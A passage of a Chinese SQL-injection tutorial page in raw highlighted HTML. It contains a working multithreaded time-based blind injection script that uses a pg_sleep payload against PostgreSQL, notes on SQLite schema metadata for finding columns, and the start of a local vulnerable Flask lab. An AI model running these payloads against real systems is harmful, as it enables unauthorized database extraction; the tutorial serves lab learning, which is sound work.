style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    found</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">        \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">None</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    lock </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Lock</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    stop_event </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Event</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> test_char</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        payload </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"1 and 1=(case when substring((</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">),</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">position</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">,1)='</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">' then (select 1 from pg_sleep(5)) else 1 end) -- \"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        start</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">time</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">perf_counter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            response</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">params</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">id</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            end</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">time</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">perf_counter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            cost </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> end</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">start</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> cost</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threshold</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                with</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> lock</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> ch</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">RequestException</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            pass</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    threads </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> ch </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> char</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Thread</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">test_char</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        threads</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">append</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">t</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> len</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threads</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            threads </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                break</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        result </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">请求结束</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        break</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>时间盲注相对于布尔盲注就会慢一些了</p>\n<h1 id=\"sqlite\"><a class=\"anchor\" href=\"#sqlite\">#</a> SQLite</h1>\n<h2 id=\"数据库架构以及核心字段名-2\"><a class=\"anchor\" href=\"#数据库架构以及核心字段名-2\">#</a> 数据库架构以及核心字段名</h2>\n<p>SQLite通常没有独立数据库服务进程，它是一个嵌入式数据库，它的层级是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>数据库文件</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>main 数据库</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>表 / 视图 / 索引 / 触发器</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>列 / 行</span></span></code></pre>\n<p>其查询路径：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>应用程序</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>SQLite 库</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>SQL Parser</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Code Generator</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Virtual Database Engine, VDBE</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>B-Tree / Pager</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>数据库文件</span></span></code></pre>\n<p>结构大致是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>app.db</span></span>\n<span class=\"line\"><span>├── users</span></span>\n<span class=\"line\"><span>├── products</span></span>\n<span class=\"line\"><span>├── orders</span></span>\n<span class=\"line\"><span>├── comments</span></span>\n<span class=\"line\"><span>└── sqlite_schema</span></span></code></pre>\n<p>可以理解为这一个app.db文件就是一个数据库，里面有很多张表，每个表里面有很多列和行</p>\n<p>SQLite默认主数据库是main，如果使用临时表还有temp，如果使用<code>ATTACH DATABASE</code>附加其他数据库文件还可能出现其他数据库名，所以SQLite完整对象名可能是<code>main.users</code>，但大多数情况下只能看到<code>users</code></p>\n<p>SQLite的SQL查询执行路径可以理解为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>应用程序调用 SQLite API</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>sqlite3_prepare_v2()</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>SQL Parser 解析 SQL</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>生成语法树</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>生成 VDBE 字节码</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>sqlite3_step() 执行字节码</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>B-Tree 模块查找数据</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Pager 模块读取页面</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>操作系统读取 .db 文件</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>返回结果给应用程序</span></span></code></pre>\n<p>SQLite里面有一个很重要的组件：<code>VDBE（Virtual Database Engine）</code>可以理解为SQLite自己的SQL虚拟机</p>\n<p><strong>SQLite的元数据表</strong></p>\n<p>SQLite里面最重要的元数据表是<code>sqlite_schema</code>，旧资料里经常叫<code>sqlite_master</code></p>\n<p><code>sqlite_schema</code>里面主要有这些字段：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>type</span></span>\n<span class=\"line\"><span># 记录对象类型，比如table表，index索引，view视图，trigger触发器，类似于pg_class.relkind</span></span>\n<span class=\"line\"><span>name</span></span>\n<span class=\"line\"><span># 对象的名，例如表名或者索引名，类似于pg_class.relname</span></span>\n<span class=\"line\"><span>tbl_name</span></span>\n<span class=\"line\"><span># 该对象所属的表名</span></span>\n<span class=\"line\"><span>rootpage</span></span>\n<span class=\"line\"><span># B-Tree根页，该对象在数据库文件中的根页编号（底层存储结构，安全测试中通常用不到）</span></span>\n<span class=\"line\"><span>sql</span></span>\n<span class=\"line\"><span># 以纯文本形式记录了当初创建这个对象时的DDL语句，在旧版SQLite注入中，因为没有专门的列名表，大家都是通过读取这个sql字段，利用正则或肉眼从CREATE TABLE语句中提取出所有的列名（比如id, username, password）</span></span></code></pre>\n<p><strong>PRAGMA函数库</strong>：为了更结构化地获取“列”的元数据（类似于PG的<code>information_schema.columns</code>或<code>pg_attribute</code>），SQLite提供了特有的<code>PRAGMA</code>指令，在较新版本的SQLite中可以把<code>PRAGMA</code>当作表值函数在<code>select</code>中调用，核心表值函数：<code>pragma_table_info('表名')</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 核心字段解析：</span></span>\n<span class=\"line\"><span>cid</span></span>\n<span class=\"line\"><span># 列的ID，从0开始递增</span></span>\n<span class=\"line\"><span>name</span></span>\n<span class=\"line\"><span># 列名，如id,username，相当于pg_attribute.attname</span></span>\n<span class=\"line\"><span>type</span></span>\n<span class=\"line\"><span># 列的数据类型，如INTEGER、VARCHAR(50)、TEXT</span></span>\n<span class=\"line\"><span>notnull</span></span>\n<span class=\"line\"><span># 是否允许为空（1表示NOT NULL，0表示允许为空）</span></span>\n<span class=\"line\"><span>dflt_value</span></span>\n<span class=\"line\"><span># 列的默认值</span></span>\n<span class=\"line\"><span>pk</span></span>\n<span class=\"line\"><span># 该列是否为主键的一部分（0表示不是，1、2等数字表示在复合主键中的顺序）</span></span></code></pre>\n<h2 id=\"本地搭建靶场测试-2\"><a class=\"anchor\" href=\"#本地搭建靶场测试-2\">#</a> 本地搭建靶场测试</h2>\n<p>首先创建一个<code>sqlite_lab.py</code>文件，SQLite是Python自带的内置库(sqlite3)，所以只需要安装一个Flask即可</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python3 -m pip install flask</span></span></code></pre>\n<p>将以下代码复制到<code>sqlite_lab.py</code>里面：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> sqlite3</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 1. 初始化本地 SQLite 数据库</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> init_db</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 连接到一个本地文件，如果文件不存在会自动创建</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    conn </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> sqlite3</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">connect</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">r</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">E:</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\O</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">therSQL</span><span style=\"color:#998418;--shiki-dark:#B8A965\">\\S</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">QLite_lab</span><span style=\"color:#BDA437;--shiki-dark:#E6CC77\">\\v</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">uln_lab</span><span style=\"color:#998418;--shiki-dark:#B8A965\">.</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">db</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    cursor </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">cursor</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 创建用户表</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'''</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        CREATE TABLE IF NOT EXISTS users (</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            id INTEGER PRIMARY KEY AUTOINCREMENT,</span></span>\n<span class=\"line\"><span 